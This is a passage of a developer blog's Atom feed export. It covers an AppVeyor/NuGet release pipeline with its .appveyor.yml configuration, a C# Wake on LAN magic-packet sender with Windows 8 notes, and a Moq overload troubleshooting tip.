&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
To pack this one up, there&#39;s a line in the configuration invoking &lt;i&gt;nuget pack &lt;/i&gt;instead.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
Creating a Release&lt;/h3&gt;
&lt;div&gt;
I&#39;ve added to&amp;nbsp;&lt;b&gt;.appveyor.yml&lt;/b&gt; (see below) a&amp;nbsp;piece of &lt;i&gt;powershell&lt;/i&gt;&amp;nbsp;which resets the version of the build to the &lt;i&gt;tag&lt;/i&gt;&amp;nbsp;if that&#39;s what&#39;s being built.&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Pushing a tag is the method to express the intent of a creating release&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
I&#39;m using &lt;a href=&quot;https://semver.org/&quot;&gt;semver&lt;/a&gt;&amp;nbsp;and NuGet already takes packages versioned &lt;i&gt;N.N.N-something&lt;/i&gt; as a pre-release package.&lt;br /&gt;
&lt;br /&gt;
That means a tag &lt;b&gt;1.0.0-beta &lt;/b&gt;will publish a pre-release package. On the other hand, if the tag is simply &lt;b&gt;1.0.0&lt;/b&gt;, that&#39;d be a plain release.&lt;br /&gt;
&lt;br /&gt;
GitHub on the other hand doesn&#39;t handle that automatically. AppVeyor creates the draft release on GitHub but at the bottom of the page before publishing, I still need to select that option:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaJBVeuMApHAF0XwYAefwfT8HmUAyk1mcWDycbWfmejTRPfCb-yRsBKBVIX1_9CMqbSwPsYtGnY3JZskzkxdc8eKWKrnkt4QWpySrCB98PcWjxmRCEg3IH1nC3nkpyqok3fJC2W1LMEUU/s1600/GitHub+pre-release.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;127&quot; data-original-width=&quot;448&quot; height=&quot;90&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaJBVeuMApHAF0XwYAefwfT8HmUAyk1mcWDycbWfmejTRPfCb-yRsBKBVIX1_9CMqbSwPsYtGnY3JZskzkxdc8eKWKrnkt4QWpySrCB98PcWjxmRCEg3IH1nC3nkpyqok3fJC2W1LMEUU/s320/GitHub+pre-release.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px;&quot;&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;AppVeyor will push every artifact of that build to GitHub&#39;s drafted release. Considering that I do &lt;b&gt;not &lt;/b&gt;always publish all packages to NuGet, I remove whatever package I didn&#39;t publish to NuGet before finalizing the GitHub release.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;In other words:&lt;/span&gt;&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Push a tag to GitHub,&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Publish desired packages to NuGet through AppVeyor UI (more below).&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Remove from the GitHub release the packages &lt;i&gt;not&lt;/i&gt;&amp;nbsp;deployed on the next step&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Publish release on GitHub (green button above)&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;
NuGet&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Publishing to NuGet is not done automatically as a result of the release creation mentioned above. The reason is that each build results in multiple packages as artifacts and publishing is a&amp;nbsp;&lt;i&gt;all or nothing&lt;/i&gt;&amp;nbsp;approach.&lt;/span&gt;&lt;/div&gt;
&lt;h3&gt;
&lt;div style=&quot;font-size: medium; font-weight: 400;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: 400;&quot;&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;I&#39;m looking for publishing packages in a selective way. AppVeyor has&amp;nbsp;&lt;i&gt;environments&amp;nbsp;&lt;/i&gt;which can be configured to deploy specific artifacts from specific projects. Those can also be defined via the configuration file but you&#39;d still need to define which &#39;environment&#39; (aka: package) you want to deploy anyway. At that point I&#39;ve chosen to use AppVeyor&#39;s UI to set-up these &lt;i&gt;environments.&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: 400;&quot;&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: 400;&quot;&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;The way I&#39;ve done it is: one AppVeyor&#39;s&amp;nbsp;&lt;i&gt;environment&amp;nbsp;&lt;/i&gt;for each package:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: 400;&quot;&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmS-5smlUeISkkjxOIEVVVzdiqfaFGIFeqLLs553UtTi0yvLvVialIkC54DRXkQptV9x049_KLtUJnc_v4QCsXc0Inr2cXHZ_oDPrKWkHZApFGdlS91byZ9N-sUeiDTUijkUPTn6S2Vcg/s1600/AppVeyor+environments.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;272&quot; data-original-width=&quot;705&quot; height=&quot;123&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmS-5smlUeISkkjxOIEVVVzdiqfaFGIFeqLLs553UtTi0yvLvVialIkC54DRXkQptV9x049_KLtUJnc_v4QCsXc0Inr2cXHZ_oDPrKWkHZApFGdlS91byZ9N-sUeiDTUijkUPTn6S2Vcg/s320/AppVeyor+environments.PNG&quot; width=&quot;320&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: 400;&quot;&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: 400;&quot;&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;To get something deployed I can click a single button which pushes that single package to NuGet.org.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: 400;&quot;&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: 400;&quot;&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Differentiating each of those is done via regular expressions. For example the RegEx for the first item on that image is:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: 400;&quot;&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-weight: 400;&quot;&gt;&lt;i&gt;/Greentube\.Messaging\.\d.*\.nupkg/&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-weight: 400;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;div style=&quot;font-weight: 400;&quot;&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: 400;&quot;&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;I&#39;m still trying to push the markdown docs automatically together to NuGet.&amp;nbsp;&lt;a href=&quot;https://stackoverflow.com/questions/47497923/push-markdown-documentation-to-nuget-org&quot;&gt;I&#39;ve asked about it on StackOverflow&lt;/a&gt;&amp;nbsp;a few days ago but still not answer.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: 400;&quot;&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: 400;&quot;&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;One downside of this approach is that the dependencies between the packages have to be tracked by yourself.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;For example:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: 400;&quot;&gt;If I want to publish &lt;/span&gt;Greentube.Messaging.DependencyInjection.Redis&lt;span style=&quot;font-weight: 400;&quot;&gt;, I need to take into consideration that it depends on &lt;/span&gt;Greentube.Messaging.DependencyInjection&lt;span style=&quot;font-weight: 400;&quot;&gt; which in turn depends on &lt;/span&gt;Greentube.Messaging&lt;span style=&quot;font-weight: 400;&quot;&gt;&amp;nbsp;of the same version.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: 400;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-weight: 400;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;For that reason, the 3 packages have to deployed otherwise restoring the first one will fail.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-weight: 400;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/h3&gt;
&lt;h3&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;
Configuration&lt;/span&gt;&lt;/h3&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Again using the&amp;nbsp;&lt;a href=&quot;https://github.com/Greentube/messaging/blob/master/.appveyor.yml&quot;&gt;Greentube.Messaging as an example&lt;/a&gt;, here&#39;s the &lt;b&gt;.appveyor.yml&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;script src=&quot;https://gist.github.com/6694607ec0b9a09f90442dae65b4d78e.js&quot;&gt; &lt;/script&gt;
  &lt;noscript&gt;
    &lt;pre&gt;
version: &#39;1.0.0-alpha-{build}&#39;
init:
  - git config --global core.autocrlf true
  # If there&#39;s a tag, use that as the version.
  - ps: &gt;-
      if($env:APPVEYOR_REPO_TAG -eq &quot;true&quot;){Update-AppveyorBuild -Version &quot;$env:APPVEYOR_REPO_TAG_NAME&quot;}
# Will build dependencies in release (optimize and portable pdbs) mode:
build_script:
  - cmd: for /f %%a in (&#39;dir /b test&#39;) do dotnet test -c Release test/%%a/%%a.csproj
after_build:
# packing the current Release build of all projects under src/
  - cmd: for /f %%a in (&#39;dir /b src ^| find /v &quot;Greentube.Messaging.All&quot;&#39;) do dotnet pack --no-build -c Release src/%%a/%%a.csproj
# pack the metapackage which is based on nuspec
  - cmd: nuget pack -version %APPVEYOR_BUILD_VERSION% src\Greentube.Messaging.All\Greentube.Messaging.All.nuspec
# Will build in Coverage mode (full pdbs) and upload coverage to Codecov
on_success:
  - ps: .\coverage.ps1 -UploadCodecov
environment:
  global:
    DOTNET_SKIP_FIRST_TIME_EXPERIENCE: true
    DOTNET_CLI_TELEMETRY_OPTOUT: 1
test: off
os: Visual Studio 2017
dotnet_csproj:
  patch: true
  file: &#39;src\**\*.csproj&#39;
  version: &#39;{version}&#39;
  package_version: &#39;{version}&#39;
artifacts:
- path: &#39;**\*.nupkg&#39;
  name: messaging-nuget-packages
# builds on tags will publish all nupkgs to GitHub as a Draft release
deploy:
  release: $(appveyor_build_version)
  provider: GitHub
  auth_token:
    secure: DsKyNX5x7EJOCaRUpZu17qwOfpd/NWaZzmQd0aE62nBAGkqI3nASvvHfvoQTjL8y
  artifact: /.*\.nupkg/
  draft: true
  on:
    appveyor_repo_tag: true
    &lt;/pre&gt;
&lt;/noscript&gt;
&lt;br /&gt;
&lt;h3&gt;
&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;
Note about the pace of changes&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Everything about .NET Core changes rapidly. The tooling around it specially. A lot of configuration I&#39;ve come up with was added as a reaction to some issue I encountered. I&#39;m sure many of these issues will be solved soon so configuration could be simplified. An example is the &lt;i&gt;full pdbs &lt;/i&gt;for coverage&amp;nbsp;and the profiling API on MacOS. Take that into account when getting your own setup ready.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/7145553867312581135/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2017/12/cicd-for-net-with-githubtravis.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/7145553867312581135'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/7145553867312581135'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2017/12/cicd-for-net-with-githubtravis.html' title='CI/CD for .NET with GitHub/Travis-CI/AppVeyor/Codecov/NuGet'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCjR0yjHyuqoTkxswuXk2NS8MmbR5V1La9HXRud5okxENSUz_DTCF_EZkZTETufHnRI3pW5jGKRPvnG8ECj8vYWHofKZ7hg3M12t9liOuHgZ9hCWCCnpCSRA19MQyO9myD642bfz_AkWQ/s72-c/Sample+build+TravisCI.PNG" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-21617684030439211</id><published>2013-04-21T20:24:00.000+02:00</published><updated>2013-04-21T20:24:45.180+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Network"/><category scheme="http://www.blogger.com/atom/ns#" term="Wake on Lan"/><title type='text'>Wake on Lan in C# and Windows 8</title><content type='html'>About 8 years ago I was writing scripts to run on a network with over 130.000 computers (of which 5000 I administered).&lt;br /&gt;
The scripts ran 24/7, parsing computer&#39;s inventory log files, which they sent to a central server. It was &amp;nbsp;possible to detect and fix a whole bunch of issues, most of the time even before a user would notice something was wrong.&lt;br /&gt;
&lt;br /&gt;
Note that most of those computers were running Windows NT 4, including the domain controllers. The task to install application in all those computers and keep their anti-virus signature up-to-date was not as trivial as it is today. There were times we needed to perform tasks on computers that weren&#39;t even switched on. And I must admit, back then I was quite proud of the solution I came up with for this particular case.&amp;nbsp;Although it&#39;s not my goal to go into details on how I managed to get any of those 5000 computers, spread in 130 different offices, powered-on at any time; I want to write a little about the core of the solution: &lt;b&gt;Wake on Lan&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Whether to be able to power on your computer at home when you are away, or to manage a corporate network, the ability to switch a computer on out of sending a &lt;i&gt;magic packet&lt;/i&gt;&amp;nbsp;is at least quite interesting. It does require basic knowledge of computer networks and hardware to understand it, but to make it work, all you need is to know how to find your computer&#39;s MAC address. That&#39;s all you need to use &lt;b&gt;WoL &lt;/b&gt;on a local network. However if you are willing to use it over the Internet, you&#39;ll need the IP address of the gateway of which the target computer belongs to, and have that gateway configured to forward the &lt;i&gt;magic packet&lt;/i&gt;&amp;nbsp;to the private network. The Port number is used in this case (if you use NAT, you&#39;ll need it), so that you can forward incoming UDP datagram on that predefined port of your router to an internal network IP address, or even the broadcast address if you&#39;d like.&lt;br /&gt;
&lt;br /&gt;
If the computer is switched off, it&#39;s likely the network switch&#39;s CAM table won&#39;t have an entry to your target computer&#39;s MAC address, and once your router forwards the datagram received from the external interface to your internal network, to the specific IP address you defined on the forwarding rule, the network switch will broadcast that to all ports.&lt;br /&gt;
&lt;br /&gt;
You&#39;ll find many over&amp;nbsp;architectured&amp;nbsp;implementations of Wake on Lan out there, even in C#. But the fact is that it&#39;s really simple thing.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;
Let&#39;s see some C# code:&lt;/h4&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:csharp&quot;&gt;using System;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Text.RegularExpressions;

namespace BrunoGarcia.Net
{
    public sealed class WolManager
    {
        const int _payloadSize = 102;

        public static void SendMagicPacket(string mac, IPEndPoint ipEndPoint)
        {
            var macBytes = PhysicalAddress.Parse(mac).GetAddressBytes();

            var payload = new byte[_payloadSize];
            Buffer.BlockCopy(new byte[] { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }, 0, payload, 0, 6);
            
            for (int i = 1; i &amp;lt; 17; i++)
                Buffer.BlockCopy(macBytes, 0, payload, 6 * i, 6);

            using (var udp = new UdpClient())
                udp.Send(payload, _payloadSize, ipEndPoint);
        }
    }
}
&lt;/pre&gt;
&lt;br /&gt;
As you can see, it&#39;s a fire-and-forget operation, a single UDP datagram. The MAC address of the target machine goes in the payload. As I mentioned before, the port is not really important if you are sending the packet on the same subnet of your target computer (without the need of routing). &amp;nbsp;Port on wikipedia you find to be 7 or 9. However 0 can be used:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0hp-wdpDIS_KnTtuZKl4-Chp_3Rprc592oZ0Y7TcdN6blxtbui6h8KhNg92FVs_654Q02glQ7po5mDe9O_jbglT4jdC873e5vf3vXfHxt2yz75WHMJC0u1Q4jJg9B4-uHYBpgFKF2mrg/s1600/Wake+on+Lan+on+Wireshark.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;27&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0hp-wdpDIS_KnTtuZKl4-Chp_3Rprc592oZ0Y7TcdN6blxtbui6h8KhNg92FVs_654Q02glQ7po5mDe9O_jbglT4jdC873e5vf3vXfHxt2yz75WHMJC0u1Q4jJg9B4-uHYBpgFKF2mrg/s400/Wake+on+Lan+on+Wireshark.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:csharp&quot;&gt;WolManager.SendMagicPacket(&quot;B8-AC-6F-59-56-55&quot;, 
    new IPEndPoint(IPAddress.Parse(&quot;255.255.255.255&quot;), 0));
&lt;/pre&gt;
&lt;br /&gt;
This is fun, and I&#39;ve used it to power on my computer at home from the Internet a few times. But now, when I got Windows 8, the fun wasn&#39;t quite working.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://support.microsoft.com/kb/2776718&quot;&gt;This KB from Microsoft&lt;/a&gt; describes the change:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;Windows 7&lt;/b&gt;: &amp;nbsp;In Windows 7, the default shutdown operation puts the system into classic shutdown (S5) and all devices are put into the lowest power state D3. Wake-On-LAN is not officially supported from S5 in Windows 7. However, some network adapters can be left armed for wake if enough residual power is available. As a result, wake from the S5 state is possible on some systems where enough residual power was supplied to the network adapter even though the system is in S5 and devices are in D3.&amp;nbsp;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;b&gt;Windows 8&lt;/b&gt;: &amp;nbsp;In Windows 8, the default shutdown behavior puts the system into hybrid shutdown (S4) and all devices are put into D3. Remote Wake-On-LAN from hybrid shutdown (S4) or classic shutdown (S5) is unsupported. Network adapters are explicitly not armed for Wake-On-LAN in both the classic shutdown (S5) and hybrid shutdown (S4) cases because users expect zero power consumption and battery drain in the shutdown state. This behavior removes the possibility of spurious wakes when explicit shutdown was requested. As a result, Wake-On-LAN is only supported from sleep (S3) or hibernate (S4) in Windows 8.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
What a bummer. Anyway, not time to give up, right? Digging a bit deeper one understands better the changes, and enabling wake on lan on windows 8 is possible again:&lt;br /&gt;
&lt;br /&gt;
Check out &lt;a href=&quot;http://www.pendlebury.biz/win8-wol&quot;&gt;this post&lt;/a&gt; from Phil Pendlebury which talks about it.</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/21617684030439211/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2013/04/wake-on-lan-in-c-and-windows-8.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/21617684030439211'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/21617684030439211'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2013/04/wake-on-lan-in-c-and-windows-8.html' title='Wake on Lan in C# and Windows 8'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0hp-wdpDIS_KnTtuZKl4-Chp_3Rprc592oZ0Y7TcdN6blxtbui6h8KhNg92FVs_654Q02glQ7po5mDe9O_jbglT4jdC873e5vf3vXfHxt2yz75WHMJC0u1Q4jJg9B4-uHYBpgFKF2mrg/s72-c/Wake+on+Lan+on+Wireshark.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-4268069917589974007</id><published>2013-03-04T21:26:00.000+01:00</published><updated>2013-03-04T21:26:40.476+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Moq"/><category scheme="http://www.blogger.com/atom/ns#" term="Unit tests"/><title type='text'>Moq Return method not available after Setup</title><content type='html'>If you are familiar with the mocking framework&amp;nbsp;&lt;a href=&quot;https://code.google.com/p/moq/&quot;&gt;Moq&lt;/a&gt;, you&#39;re used to call Setup with the overload taking a &lt;b&gt;Func&amp;lt;T, TResult&amp;gt;&lt;/b&gt; and expect after that the &lt;b&gt;Return&amp;lt;TResult&amp;gt;&lt;/b&gt; method to be available. And it&#39;s normally there.&lt;br /&gt;
&lt;br /&gt;
However, I just ran into an interesting scenario, where calling the correct overload did not make available the &lt;b&gt;Return&amp;lt;TResult&amp;gt;&lt;/b&gt; method.&lt;br /&gt;
&lt;br /&gt;
In my case the code being mocked is a dependency that makes a request on a webservice.&lt;br /&gt;
A mockup of the wrapper class is created, and the Load method, which returns an &lt;b&gt;XDocument&lt;/b&gt;, is setup.&lt;br /&gt;
&lt;br /&gt;
But Return wasn&#39;t available:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGn-XYiQbQRFzLKBD2RMq6wZ7AjUNGU05PLLF3P74h7FvkZljsBmTUyzDvgsGE3hhBELMpoAXMsC8LUBywHe6O5bZ3A9ZVDrwLiQW2_oTAkmZbvKL6LguEV-kKpFGkG1eMGokC1Gg4584/s1600/Moq+Return+method+not+available.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGn-XYiQbQRFzLKBD2RMq6wZ7AjUNGU05PLLF3P74h7FvkZljsBmTUyzDvgsGE3hhBELMpoAXMsC8LUBywHe6O5bZ3A9ZVDrwLiQW2_oTAkmZbvKL6LguEV-kKpFGkG1eMGokC1Gg4584/s1600/Moq+Return+method+not+available.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Interesting that the overload resolution resolved my &lt;b&gt;Func&amp;lt;T, TResult&amp;gt;&lt;/b&gt; to &lt;b&gt;Action&amp;lt;T&amp;gt;&lt;/b&gt;, therefore &lt;b&gt;ISetup&amp;lt;T&amp;gt;&lt;/b&gt; was being returned instead of &lt;b&gt;ISetup&amp;lt;T, TResult&amp;gt;&lt;/b&gt; even though the method I setup had return type!&lt;br /&gt;
&lt;br /&gt;
I inspect the method I setup to double check the return type defined:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicOP0Qemlr3uU5Z7rDFR-3Mf5O9EY2xAGsYV0dZPpZarTC8xPwQrXPwTn3TDYLjwdTscLZdF7MMD095r3pablbLEZYc8V-8J3JTCbETcTI8Rdn23XGBJHqLds5cj6gWGurZWcuNqijtR8/s1600/Moq+Return+type.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicOP0Qemlr3uU5Z7rDFR-3Mf5O9EY2xAGsYV0dZPpZarTC8xPwQrXPwTn3TDYLjwdTscLZdF7MMD095r3pablbLEZYc8V-8J3JTCbETcTI8Rdn23XGBJHqLds5cj6gWGurZWcuNqijtR8/s1600/Moq+Return+type.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Yes, it&#39;s missing a reference to &lt;i&gt;System.Xml.Linq&lt;/i&gt;.&lt;br /&gt;
The Unit Test Project template doesn&#39;t include a reference to this assembly (and that makes sense).&lt;br /&gt;
Well, I added it, it works now.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/4268069917589974007/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2013/03/moq-return-method-not-available-after.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/4268069917589974007'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/4268069917589974007'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2013/03/moq-return-method-not-available-after.html' title='Moq Return method not available after Setup'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 